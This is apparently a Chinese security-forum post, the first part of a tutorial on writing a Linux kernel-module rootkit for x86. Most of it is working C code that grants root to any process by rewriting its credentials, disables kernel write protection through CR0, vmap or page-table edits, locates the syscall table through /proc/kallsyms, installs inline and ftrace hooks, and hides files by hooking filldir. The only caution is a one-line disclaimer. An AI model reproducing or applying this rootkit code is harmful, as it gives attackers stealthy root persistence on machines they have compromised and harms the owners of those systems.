首页
社区
课程
招聘
[原创]通用 Linux kernel rootkit 开发导论(一)
发表于: 2025-3-8 06:29 2765

[原创]通用 Linux kernel rootkit 开发导论(一)

2025-3-8 06:29
2765

0x00. 一切开始之前

「Rootkit」即「root kit」,中文直译为「根工具包」,通常指代一类具有较高权限的恶意软件,其通常以内核模块的形式存在,在网络攻防当中被用作权限维持的目的

本系列文章将对 Linux 下基于 LKM 的 rootkit 实现技术进行汇总,主要基于 x86 架构,仅供实验与学习,请勿用作违法犯罪:(

同时笔者将本文所涉及的技术实现整合为一个教学用 Rootkit 并开源于 8fcK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8@1L8X3u0S2x3#2)9J5c8V1&6G2M7X3&6A6M7W2)9J5k6q4u0G2L8%4c8C8K9i4b7`. ,希望大家能多来点 star :)

0x01. 进程提权

一个进程的权限由其 PCB (即 task_struct 结构体)中指定的 cred 结构体决定,位于内核空间中的 rootkit 可以很方便地通过修改、替换cred 结构体等方式来帮助我们的恶意进程进行提权:)

方法 ①:直接修改进程的 cred

直接将 creduidgid 等字段修改为 0 即可完成提权,下面是笔者给出的示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static __always_inline struct task_struct* nornir_find_task_by_pid(pid_t pid)
{
    return pid_task(find_vpid(pid), PIDTYPE_PID);
}
 
static __maybe_unused void nornir_grant_root_by_cred_overwrite(pid_t pid)
{
    struct task_struct *task;
    struct cred *cred;
    
    task = nornir_find_task_by_pid(pid);
    if (!task) {
        logger_error(
            "Unable to find task_struct of pid %d, root grant failed.\n",
            pid
        );
        return ;
    }
 
    cred = (struct cred*) task->real_cred;
    cred->uid = cred->euid = cred->suid = cred->fsuid = KUIDT_INIT(0);
    cred->gid = cred->egid = cred->sgid = cred->fsgid = KGIDT_INIT(0);
 
    if (unlikely(task->cred != task->real_cred)) {
        logger_warn("Mismatched cred & real_cred detected for task %d.\n", pid);
        cred = (struct cred*) task->cred;
        cred->uid = cred->euid = cred->suid = cred->fsuid = KUIDT_INIT(0);
        cred->gid = cred->egid = cred->sgid = cred->fsgid = KGIDT_INIT(0);
    }
 
    logger_info("Root privilege has been granted to task %d.\n", pid);
}

方法 ②:复制 init 进程的 cred

在老版本内核上可以直接通过 commit_creds(prepare_kernel_cred(NULL)) 完成提权,但是在较新版本的内核当中 prepare_kernel_cred(NULL) 会分配失败,不过 prepare_kernel_cred() 函数本质上是拷贝复制一个进程的 cred ,因此我们不难想到的是我们可以直接复制有 root 权限的 init 进程的 cred

虽然 init 进程的 PCB init_task 与 credential init_cred 都是静态分配的,但是这两个符号不一定会导出,且直接在内存中进行搜索也不简单,不过 init 进程是所有进程最终的父进程,其父进程为其自身,因此我们可以直接通过 task_struct->parent 不断向上直接找到 init_taskcommit_creds(prepare_kernel_cred(&init_task)) 完成提权,示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
static __always_inline struct task_struct* nornir_find_root_pcb(void)
{
    struct task_struct *task;
 
    task = current;
    if (unlikely(task->parent == task)) {
        logger_error("detected out-of-tree task_struct, pid: %d\n", task->pid);
        return NULL;
    }
 
    do {
        task = task->parent;
    } while (task != task->parent);
 
    return task;
}
 
static __maybe_unused void nornir_grant_root_by_cred_replace(pid_t pid)
{
    struct task_struct *task;
    struct cred *old, *new;
    
    task = nornir_find_task_by_pid(pid);
    if (!task) {
        logger_error(
            "Unable to find task_struct of pid %d, root grant failed.\n",
            pid
        );
        return ;
    }
 
    new = prepare_kernel_cred(task);
    if (!new) {
        logger_error("Unable to allocate new cred, root grant failed.\n");
        return ;
    }
 
    old = (struct cred*) task->real_cred;
 
    get_cred(new);
    rcu_assign_pointer(task->real_cred, new);
    rcu_assign_pointer(task->cred, new);
 
    put_cred(old);
    put_cred(old);
 
    logger_info("Root privilege has been granted to task %d.\n", pid);
}

0x02. 函数劫持

rootkit 通常需要修改内核部分函数逻辑来达成特定目的,例如劫持 getdents 系统调用来完成文件隐藏等;劫持函数的方法多种多样,本节笔者将给出一些比较经典的方案

PRE. 修改只读代码/数据段

系统代码段、一些静态定义的函数表(包括系统调用表在内)的权限通常都被设为只读, 我们无法直接修改这些区域的内容 ,因此我们还需要一些手段来绕过只读保护,这里笔者给出常见的几种方法

方法 ①:利用 vmap/ioremap 进行重映射完成物理内存直接改写(推荐)

对虚拟地址空间的访问实际上是对指定物理页面的访问,我们可以通过将目标物理页框映射到新的可写虚拟内存的方式完成对只读内存区域数据的覆写

我们可以直接通过 virt_to_phys()virt_to_pfn() 等宏获取到目标区域虚拟地址对应的物理地址后再通过 vmap() 等函数将目标物理页框重新映射到一个新的虚拟地址上即可完成对只读内存数据的改写

数据覆写完成后再 vunmap() 即可,示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static __maybe_unused
void nornir_overwrite_romem_by_vmap(void *dst, void *src, size_t len)
{
    size_t dst_virt, dst_off, dst_remap;
    struct page **pages;
    unsigned int page_nr, i;
 
    page_nr = (len >> PAGE_SHIFT) + 2;
    pages = kcalloc(page_nr, sizeof(struct page*), GFP_KERNEL);
    if (!pages) {
        logger_error(
            "Unable to allocate page array for vmap, operation aborted.\n"
        );
        return ;
    }
 
    dst_virt = (size_t) dst & PAGE_MASK;
    dst_off = (size_t) dst & (PAGE_SIZE - 1);
    for (i = 0; i < page_nr; i++) {
        pages[i] = virt_to_page(dst_virt);
        dst_virt += PAGE_SIZE;
    }
 
    dst_remap = (size_t) vmap(pages, page_nr, VM_MAP, PAGE_KERNEL);
    if (dst_remap == 0) {
        logger_error("Unable to map pages with vmap, operation aborted.\n");
        goto free_pages;
    }
 
    memcpy((void*) (dst_remap + dst_off), src, len);
 
    vunmap((void*) dst_remap);
 
free_pages:
    kfree(pages);
}

虽然 direct mapping area 有着对所有物理内存的映射,但是也根据映射的区域权限进行了相应的权限设置(例如映射 text 段的页面为可读可执行权限),因此我们无法通过这块区域进行覆写,而需要重新建立新的映射

因此 kmap() 同样无法帮助我们完成对只读区域的改写,因为其会先检查相应的 page 是否已经在 direct mapping area 上有着对应的映射并进行复用 :(

方法 ②:修改 cr0 寄存器

只读保护的开关其实是由 cr0 寄存器中的 write protect 位决定的,只要我们能够将 cr0 的这一位置 0 便能关闭只读保护,从而直接改写内存中只读区域的数据

这也是上古时期比较经典的一些 rootkit 的实现方案

image.png

直接写内联汇编即可,这里笔者给出一个通用的改写内存只读区域的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
static __always_inline u64 nornir_read_cr0(void)
{
    u64 cr0;
 
    asm volatile (
        "movq  %%cr0, %%rax;"
        "movq  %%rax, %0;   "
        : "=r" (cr0) :: "%rax"
    );
 
    return cr0;
}
 
static __always_inline void nornir_write_cr0(u64 cr0)
{
    asm volatile (
        "movq   %0, %%rax;  "
        "movq  %%rax, %%cr0;"
        :: "r" (cr0) : "%rax"
    );
}
 
static __always_inline void nornir_disable_write_protect(void)
{
    u64 cr0;
 
    cr0 = nornir_read_cr0();
 
    if ((cr0 >> 16) & 1) {
        cr0 &= ~(1 << 16);
        nornir_write_cr0(cr0);
    }
}
 
static __always_inline void nornir_enable_write_protect(void)
{
    size_t cr0;
 
    cr0 = nornir_read_cr0();
 
    if (!((cr0 >> 16) & 1)) {
        cr0 |= (1 << 16);
        nornir_write_cr0(cr0);
    }
}
 
static __maybe_unused
void nornir_overwrite_romem_by_cr0(void *dst, void *src, size_t len)
{
    u64 orig_cr0;
 
    orig_cr0 = nornir_read_cr0();
    nornir_disable_write_protect();
 
    memcpy(dst, src, len);
 
    if ((orig_cr0 >> 16) & 1) {
        nornir_enable_write_protect();
    }
}

方法 ③:直接修改内核页表项

操作系统对于内存页读写权限的控制实际上是通过设置页表项中对应的标志位来完成的:

页表项

因此我们也可以通过直接修改对应页表项的方式完成对只读内存的读写,下面笔者给出如下示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static __maybe_unused
void nornir_overwrite_romem_by_pgtbl(void *dst, void *src, size_t len)
{
    pte_t *dst_pte;
    pte_t orig_pte_val;
    unsigned int level;
    size_t left;
 
    do {
        dst_pte = lookup_address((unsigned long) dst, &level);
        orig_pte_val.pte = dst_pte->pte;
 
        left = PAGE_SIZE - ((size_t) dst & (PAGE_SIZE - 1));
 
        dst_pte->pte |= _PAGE_RW;
        memcpy(dst, src, left);
 
        dst_pte->pte = orig_pte_val.pte;
 
        dst = (size_t) dst + left;
        src = (size_t) src + left;
        len -= left;
    } while (len > PAGE_SIZE);
}

一、查找系统调用表

当进行系统调用时实际上会通过系统调用表获取到对应系统调用的函数指针后进行调用(syscall_nr→syscall_func 的指针数组),因此我们可以很方便的通过该表获取到不同系统调用的函数地址,并通过劫持该表以劫持系统调用流程

1
2
3
asmlinkage const sys_call_ptr_t sys_call_table[] = {
#include
};

但系统调用表符号是不导出的 :( 因此我们还需要通过其他的方式找到系统调用表的地址

系统调用对应的函数其实是在编译期动态生成的,而生成的这些函数符号会导出到 kallsyms 中,因此我们可以通过搜索函数指针的方式来查找系统调用表的位置:)

但是在较高版本的内核当中 kallsyms 相关的符号 仍然是不导出的 ,因此这里笔者选择采用直接读取 /proc/kallsyms 的方式;由于序列文件接口在内核空间不可直接读,因此我们需要通过在用户态开辟空间的方式进行读取(参考笔者的 这个项目),核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
static int nornir_ksym_addr_lookup_internal(const char *name,
                                            size_t *res,
                                            const char **ignore_mods,
                                            const char *ignore_types)
{
    int error = 0;
    struct file *ksym_fp;
    struct ksym_info *info;
 
    ksym_fp = filp_open("/proc/kallsyms", O_RDONLY, 0);
 
    if (IS_ERR(ksym_fp)) {
        error = PTR_ERR(ksym_fp);
        goto out_ret;
    }
 
    info = kmalloc(sizeof(*info), GFP_KERNEL);
    if (!info) {
        error = -ENOMEM;
        goto out_free_file;
    }
 
    error=nornir_find_ksym_info(ksym_fp, name, info, ignore_mods, ignore_types);
    if (error) {
        goto out_free_info;
    }
 
    *res = info->addr;
 
out_free_info:
    kfree(info);
out_free_file:
    filp_close(ksym_fp, NULL);
out_ret:
    return error;
}
 
int nornir_ksym_addr_lookup(const char *name,
                         size_t *res,
                         const char **ignore_mods,
                         const char *ignore_types)
{
    struct cred *old, *root;
    int ret;
 
    old = (struct cred*) get_current_cred();
 
    root = prepare_kernel_cred(
        pid_task(
            find_pid_ns(1, task_active_pid_ns(current)),
            PIDTYPE_PID
        )
    );
    if (!root) {
        logger_error("FAILED to allocated a new cred, kallsyms lookup failed.");
        put_cred(old);
        return -ENOMEM;
    }
 
    get_cred(root);
    commit_creds(root);
 
    ret = nornir_ksym_addr_lookup_internal(name, res, ignore_mods, ignore_types);
 
    commit_creds(old);
 
    put_cred(root);
 
    return ret;
}

解析 /proc/kallsyms 内容的代码就不在这放出了,本质上就是个建议的递归下降解析器,完整代码参见源码的 src/libs/ksym.c

之后我们只需要定位几个连续的系统调用函数指针便能定位到系统调用表,也可以直接查找符号 sys_call_table

二、函数表 hook

包括系统调用在内,内核中的大部分系统调用其实都是通过调用函数表中的函数指针完成的,因此我们可以直接通过劫持特定表中的函数指针的方式来完成 hook

笔者将在后文的一些具体场景下给出该技术的示例

三、 inline hook

内联钩子 (inline hook)算是一个比较经典的思路,其核心原理是将函数内的 hook 点位修改为一个 jmp 指令,使其跳转到恶意代码处执行,完成恶意代码的执行之后再恢复执行被 jmp 指令所覆盖的部分指令,之后跳转回原 hook 点位的下一条指令继续执行,这样便在保证了原函数基础功能的情况下完成了恶意代码执行

image.png

通过 Intel SDM 我们可以很方便地获取到 jmp 指令的格式,从而编写相应的跳转指令,并通过前文的修改只读内存函数来完成对代码段的改写

image.png

但由于 x86 为 CISC 指令集,指令长度并不固定,因此 inline hook 往往需要一个额外且庞大的模块来帮我们识别 hook 点位的数条指令,这令 inline hook 的流程变得较为复杂 :(

在 Github 上也有一些开源的 inline hook 框架,如大名鼎鼎的 Reptile 使用的便是非常经典的 khook (典中典组合了这下)

动态 inline hook 技术(适用劫持于短时间内不会被频繁调用的代码)

常规的 inline hook 不仅要将 hook 点位的代码 patch 为 jmp 指令,还需要识别与保存 hook 点位上的指令以在恶意代码执行完后恢复这些指令的执行再跳转执行 hook 点位的后续代码,x86 指令集的非定长的特性使得这套流程变得异常繁琐:(

现在笔者给出一种特别的 inline hook 方法,笔者称之为 动态 inline hook 技术 ,其基本流程如下:

  • 保存 hook 点位上的数据(无需识别指令,只需要保存 jmp 长度的数据)
  • 修改 hook 点位上的指令为 jmp 指令,使其在执行时会跳转到我们的恶意函数
  • 在恶意函数中恢复 hook 点位上数据的原值,随后调用 hook 点位(function call)
  • 重新将 hook 点位上指令修改为 jmp 指令,之后进行正常的函数返回

这种方法不会破坏函数调用栈,也不需要对 hook 点位上的原指令进行识别,大幅简化了 hook 流程,当然缺点就是 有概率存在条件竞争问题 ,但通常我们要劫持的函数一般不会在同一时间被多个线程同时调用 :)

现笔者给出如下的 通用 hook 框架 代码,我们只需要为不同的 hook 点位定义不同的基础设施即可完成对指定代码位置的 hook:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
typedef size_t (*hook_fn) (size_t, size_t, size_t, size_t, size_t, size_t);
 
struct asm_hook_info {
    uint8_t orig_data[HOOK_BUF_SZ];
    hook_fn hook_before;
    hook_fn exec_orig;
    hook_fn orig_func;
    hook_fn new_dst;
    size_t (*hook_after) (size_t orig_ret, size_t *args);
};
 
static __always_inline
void nornir_raw_write_inline_hook(void *target, void *new_dst)
{
    size_t dst_off = (size_t) new_dst - (size_t) target;
    uint8_t asm_buf[0x100];
 
#ifdef CONFIG_X86_64
    memset(asm_buf, X86_NOP_INSN, sizeof(asm_buf));
    asm_buf[0] = X86_JMP_PREFIX;
    *(size_t*) &asm_buf[1] = dst_off - X86_JMP_DISTENCE;
    nornir_overwrite_romem(target, asm_buf, HOOK_BUF_SZ);
#else
    #error "No supported architecture were chosen for inline hook"
#endif
}
 
static __always_inline
void nornir_raw_write_orig_hook_buf_back(struct asm_hook_info *info)
{
#ifdef CONFIG_X86_64
    nornir_overwrite_romem(info->orig_func, info->orig_data, HOOK_BUF_SZ);
#else
    #error "No supported architecture were chosen for inline hook"
#endif
}
 
size_t nornir_asm_inline_hook_helper(struct asm_hook_info *info, size_t *args)
{
    size_t ret;
 
    if (info->hook_before) {
        ret=info->hook_before(args[0],args[1],args[2],args[3],args[4],args[5]);
    }
 
    if (info->exec_orig
        && info->exec_orig(args[0],args[1],args[2],args[3],args[4],args[5])) {
        nornir_raw_write_orig_hook_buf_back(info);
        ret = info->orig_func(args[0],args[1],args[2],args[3],args[4],args[5]);
        nornir_raw_write_inline_hook(info->orig_func, info->new_dst);
    }
 
    if (info->hook_after) {
        ret = info->hook_after(ret, args);
    }
 
    return ret;
}

四、ftrace hook

ftrace 是内核提供的一个调试框架,当内核开启了 CONFIG_FUNCTION_TRACER 编译选项时我们可以使用 ftrace 来追踪内核中的函数调用

ftrace 通过在函数开头插入 fentry()mcount() 实现,为了降低性能损耗,在编译时会在函数的开头插入 nop 指令,当开启 frace 时再动态地将待跟踪函数开头的 nop 指令替换为跳转指令:

image.png

commit_creds() 为例,插入 ftrace 的跳转点前后如下:

image.png

image.png

利用 ftrace ,我们可以非常方便地 hook 内核中的大部分函数:)

这里其实可以直接使用一些现成的框架,不过本文主要是为了学习技术背后的原理,因此笔者不会选择使用一些现有的框架,而是会从头开始重新写:)

ftrace 的核心结构是 ftrace_ops,用来表示一个 hook 点的基本信息,通常我们只需要用到 funcflags 两个成员:

1
2
3
4
5
6
7
8
9
10
11
typedef void (*ftrace_func_t)(unsigned long ip, unsigned long parent_ip,
                              struct ftrace_ops *op, struct ftrace_regs *fregs);
//...
 
 
struct ftrace_ops {
        ftrace_func_t                        func;
        struct ftrace_ops __rcu                *next;
        unsigned long                        flags;
        //...
};

当我们创建好一个 ftrace_ops 之后,我们便可以使用 ftrace_set_filter_ip() 将其注册到 filter 中,也可以使用该函数将一个 ftrace_ops 从 filter 中删除:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* ftrace_set_filter_ip - set a function to filter on in ftrace by address
* @ops - the ops to set the filter with
* @ip - the address to add to or remove from the filter.
* @Remove - non zero to remove the ip from the filter
* @Reset - non zero to reset all filters before applying this filter.
*
* Filters denote which functions should be enabled when tracing is enabled
* If @ip is NULL, it fails to update filter.
*
* This can allocate memory which must be freed before @ops can be freed,
* either by removing each filtered addr or by using
* ftrace_free_filter(@ops).
*/
int ftrace_set_filter_ip(struct ftrace_ops *ops, unsigned long ip,
                         int remove, int reset)

当我们将一个 ftrace_ops 添加到 filter 中后,我们可以使用 register_ftrace_function() 将其放置到 hook 点位上;而在我们将其从 filter 中删除之前,我们需要调用 unregister_ftrace_function() 将其从 hook 点上脱离;下面是笔者给出的示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
static __maybe_unused struct ftrace_ops*
nornir_install_ftrace_hook_internal(void *target, ftrace_func_t new_dst)
{
    struct ftrace_ops *hook_ops;
    int err;
    
    hook_ops = kmalloc(GFP_KERNEL, sizeof(*hook_ops));
    if (!hook_ops) {
        err = -ENOMEM;
        logger_error("Unable to allocate memory for new ftrace_ops.\n");
        goto no_mem;
    }
    memset(hook_ops, 0, sizeof(*hook_ops));
    hook_ops->func = new_dst;
    hook_ops->flags = FTRACE_OPS_FL_SAVE_REGS
                    | FTRACE_OPS_FL_RECURSION
                    | FTRACE_OPS_FL_IPMODIFY;
 
    err = ftrace_set_filter_ip(hook_ops, (unsigned long) target, 0, 0);
    if (err) {
        logger_error(
            "Failed to set ftrace filter for target addr: %p.\n",
            target
        );
        goto failed;
    }
 
    err = register_ftrace_function(hook_ops);
    if (err) {
        logger_error(
            "Failed to register ftrace fn for target addr: %p.\n",
            target
        );
        goto failed;
    }
 
    logger_info(
        "Install ftrace hook at %p, new destination: %p.\n",
        target,
        new_dst
    );
 
    return hook_ops;
 
failed:
    kfree(hook_ops);
no_mem:
    return ERR_PTR(err);
}
 
static __maybe_unused int
nornir_uninstall_ftrace_hook_internal(struct ftrace_ops*hook_ops, void*hook_dst)
{
    int err;
 
    err = unregister_ftrace_function(hook_ops);
    if (err) {
        logger_error("failed to unregister ftrace.");
        goto out;
    }
 
    err = ftrace_set_filter_ip(hook_ops, (unsigned long) hook_dst, 1, 0);
    if (err) {
        logger_error("failed to rmove ftrace point.");
        goto out;
    }
 
out:
    return err;
}

这里我们还是以 commit_cred() 作为范例进行测试,在我们自定义的 hook 点当中我们可以通过 fregs 参数直接改变任一寄存器的值,由于 ftrace 的 hook 点位于函数开头,尚未开辟该函数的栈空间,这里我们可以选择将 rip 直接改为一条 ret 指令从而使其直接返回,之后我们再在 hook 函数中重新调用原函数的功能部分即可,这里需要注意的是要跳过开头的 endbr64 + call 两条指令总计 9 字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__attribute__((naked)) void ret_fn(void)
{
    asm volatile (" ret; ");
}
 
void test_hook_fn(unsigned long ip, unsigned long pip,
                    struct ftrace_ops *ops, struct ftrace_regs *fregs)
{
    size_t (*orig_commit_creds)(size_t) = \
                                (size_t(*)(size_t))((size_t) commit_creds + 9);
 
    printk(KERN_ERR "[test hook] bbbbbbbbbbbbbbbbbbbbbbbbbbbb");
 
    fregs->regs.ax = orig_commit_creds(fregs->regs.di);
    fregs->regs.ip = ret_fn;
 
    return ;
}

0x03. 文件隐藏

我们的 rootkit 既然要长久驻留在系统上,那么在系统每一次开机时都应当载入我们的 rootkit,这就要求我们的 rootkit 文件还需要保留在硬盘上,同时我们有的时候也需要启动一些用户态进程来帮助我们完成一些任务,用户态进程的二进制文件也需要我们进行隐藏,除此之外我们可能也想要隐藏一些日志文件...

因此接下来我们还要完成相关文件的隐藏的工作

注:本节需要你提前对 VFS 有着一定的了解:)

一、劫持 getdents 系统调用核心函数

当我们使用 ls 查看某个目录下的文件时,实际上会调用到 getdents64() / getdents() / compat_getdents() 这三个系统调用之一来获取某个目录下的文件信息,并以如下形式的结构体数组返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* getdents */
struct linux_dirent {
        unsigned long        d_ino;
        unsigned long        d_off;
        unsigned short        d_reclen;
        char                d_name[1];
};
 
/* getdents64 */
struct linux_dirent64 {
        u64                d_ino;
        s64                d_off;
        unsigned short        d_reclen;
        unsigned char        d_type;
        char                d_name[];
};

而用来遍历文件的系统调用的核心逻辑实际上都是通过 iterate_dir() 来实现的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
SYSCALL_DEFINE3(getdents, unsigned int, fd,
                struct linux_dirent __user *, dirent, unsigned int, count)
{
        struct fd f;
        struct getdents_callback buf = {
                .ctx.actor = filldir,
                .count = count,
                .current_dir = dirent
        };
        int error;
 
        f = fdget_pos(fd);
        if (!f.file)
                return -EBADF;
 
        error = iterate_dir(f.file, &buf.ctx);
 
//...
 
SYSCALL_DEFINE3(getdents64, unsigned int, fd,
                struct linux_dirent64 __user *, dirent, unsigned int, count)
{
        struct fd f;
        struct getdents_callback64 buf = {
                .ctx.actor = filldir64,
                .count = count,
                .current_dir = dirent
        };
        int error;
 
        f = fdget_pos(fd);
        if (!f.file)
                return -EBADF;
 
        error = iterate_dir(f.file, &buf.ctx);
 
//...
 
COMPAT_SYSCALL_DEFINE3(getdents, unsigned int, fd,
                struct compat_linux_dirent __user *, dirent, unsigned int, count)
{
        struct fd f;
        struct compat_getdents_callback buf = {
                .ctx.actor = compat_filldir,
                .current_dir = dirent,
                .count = count
        };
        int error;
 
        f = fdget_pos(fd);
        if (!f.file)
                return -EBADF;
 
        error = iterate_dir(f.file, &buf.ctx);

而在 iterate_dir() 中实际上会调用对应文件的函数表中的 iterate_shared / iterate 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int iterate_dir(struct file *file, struct dir_context *ctx)
{
        struct inode *inode = file_inode(file);
        bool shared = false;
        int res = -ENOTDIR;
        if (file->f_op->iterate_shared)
                shared = true;
        else if (!file->f_op->iterate)
                goto out;
 
        //...
        if (!IS_DEADDIR(inode)) {
                ctx->pos = file->f_pos;
                if (shared)
                        res = file->f_op->iterate_shared(file, ctx);
                else
                        res = file->f_op->iterate(file, ctx);
                //...

以 ext4 文件系统为例,其实际上会调用到 ext4_readdir 函数:

1
2
3
4
const struct file_operations ext4_dir_operations = {
        .llseek                = ext4_dir_llseek,
        .read                = generic_read_dir,
        .iterate_shared        = ext4_readdir,

存在如下调用链:

1
2
3
4
5
ext4_readdir()
    ext4_dx_readdir()// htree-indexed 文件系统会调用到这个(通常都是)
        call_filldir()
            dir_emit()
                ctx->actor() // 填充返回给用户的数据缓冲区

填充返回给用户的数据的核心逻辑便是调用 ctx->actor()也就是调用 filldir/filldir64/compat_filldir 函数,这也是大部分文件系统对于 iterate/iterate_shared 的实现核心之一,而这类函数的作用其实是将文件遍历的单个结果填充回用户空间

由此我们有两种隐藏文件的方法:

  • 直接劫持 filldir&filldir64&compat_filldir 函数,在遇到我们要隐藏的文件时直接返回,从而完成文件隐藏的功能
  • 由于 iterate_dir() 的参数之一便是 ctx ,因此我们也可以劫持 iterate_dir() 后修改 ctx->actor

需要注意的是这些函数对内核模块并不导出,因此我们需要通过用户态进程辅助读取 /proc/kallsyms 来获得其地址

hook 函数的模板在前面已经给出,这里不再赘叙,我们只需要判断是否为我们要隐藏的文件,如果是则直接返回即可,现笔者给出如下示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
static int
nornir_exec_orig_compat_filldir(struct dir_context*ctx, const char *name,
                                int namlen, loff_t offset, u64 ino,
                                unsigned int d_type)
{
    if (unlikely(nornir_get_hidden_file_info(name, namlen))) {
        return 0;
    } else {
        return 1;
    }
}
 
static void
nornir_evil_filldir_ftrace(unsigned long ip, unsigned long parent_ip,
                           struct ftrace_ops *ops, struct ftrace_regs *fregs)
{
#ifdef CONFIG_X86_64
    if (unlikely(!nornir_exec_orig_filldir(
        (void*) fregs->regs.di, (void*) fregs->regs.si, (int) fregs->regs.dx,
        (loff_t) fregs->regs.cx, (u64) fregs->regs.r8, (unsigned) fregs->regs.r9
    ))) {
        fregs->regs.ip = (size_t) nornir_filldir_placeholder;
    }
#else
    #error "We do not support ftrace hook under current architecture yet"
#endif
}
 
static void
nornir_evil_filldir64_ftrace(unsigned long ip, unsigned long parent_ip,
                             struct ftrace_ops *ops, struct ftrace_regs *fregs)
{
#ifdef CONFIG_X86_64
    if (unlikely(!nornir_exec_orig_filldir64(
        (void*) fregs->regs.di, (void*) fregs->regs.si, (int) fregs->regs.dx,
        (loff_t) fregs->regs.cx, (u64) fregs->regs.r8, (unsigned) fregs->regs.r9
    ))) {
        fregs->regs.ip = (size_t) nornir_filldir_placeholder;
    }
#else
    #error "We do not support ftrace hook under current architecture yet"
#endif
}
 
static void
nornir_evil_compat_filldir_ftrace(unsigned long ip, unsigned long parent_ip,
                                  struct ftrace_ops *ops,
                                  struct ftrace_regs *fregs)
{
#ifdef CONFIG_X86_64
    if (unlikely(!nornir_exec_orig_compat_filldir(
        (void*) fregs->regs.di, (void*) fregs->regs.si, (int) fregs->regs.dx,
        (loff_t) fregs->regs.cx, (u64) fregs->regs.r8, (unsigned) fregs->regs.r9
    ))) {
        fregs->regs.ip = (size_t) nornir_filldir_placeholder;
    }
#else
    #error "We do not support ftrace hook under current architecture yet"
#endif
}
 
static int nornir_install_ftrace_filldir_hooks(void)
{
    int err;
 
    err = nornir_install_ftrace_hook(orig_filldir, nornir_evil_filldir_ftrace);
    if (err) {
        logger_error("Unable to hook symbol \"filldir\".\n");
        goto err_filldir;
    }
 
    err = nornir_install_ftrace_hook(
        orig_filldir64,
        nornir_evil_filldir64_ftrace
    );
    if (err) {
        logger_error("Unable to hook symbol \"filldir64\".\n");
        goto err_filldir64;
    }
 
    err = nornir_install_ftrace_hook(
        orig_compat_filldir,
        nornir_evil_compat_filldir_ftrace
    );
    if (err) {
        logger_error("Unable to hook symbol \"compat_filldir\".\n");
        goto err_compat_filldir;
    }
 
    return 0;
 
err_compat_filldir:
    nornir_remove_ftrace_hook(orig_filldir64);
err_filldir64:
    nornir_remove_ftrace_hook(orig_filldir);
err_filldir:
    return err;
}
 
static int nornir_init_filldir_hooks(void)
{
    if (nornir_ksym_addr_lookup("filldir", (size_t*)&orig_filldir, NULL, NULL)){
        logger_error("Unable to look up symbol \"filldir\".\n");
        return -ECANCELED;
    }
 
    if (nornir_ksym_addr_lookup(
        "filldir64",
        (size_t*) &orig_filldir64,
        NULL,
        NULL
    )) {
        logger_error("Unable to look up symbol \"filldir64\".\n");
        return -ECANCELED;
    }
 
    if (nornir_ksym_addr_lookup(
        "compat_filldir",
        (size_t*) &orig_compat_filldir,
        NULL,
        NULL
    )) {
        logger_error("Unable to look up symbol \"compat_filldir\".\n");
        return -ECANCELED;
    }
 
#ifdef CONFIG_NORNIR_HIDE_FILE_HIJACK_GETDENTS_INLINE
    return nornir_install_inline_asm_filldir_hooks();
#elif defined(CONFIG_NORNIR_HIDE_FILE_HIJACK_GETDENTS_FTRACE)
    #ifndef CONFIG_DYNAMIC_FTRACE
        #error "Current kernel do not enable CONFIG_DYNAMIC_FTRACE"
    #endif
    return nornir_install_ftrace_filldir_hooks();
#else
    #error "No techniques were chosen for hooking filldir functions"
#endif
}

二、劫持对应文件系统的 VFS 函数表

前面我们讲到用以遍历文件的系统调用都会调用到 iterate_dir() 函数,而 iterate_dir() 中实际上会调用对应文件的函数表中的 iterate_shared / iterate 函数,由此我们也可以 通过 hook 对应文件系统函数表的 iterate_shared / iterate 函数来实现文件隐藏的功能

同一文件系统间共用相同的函数表,由此对函数表的修改直接对整个文件系统生效,不过这里我们需要注意区分的是数据文件和文件夹使用的不是同一个函数表

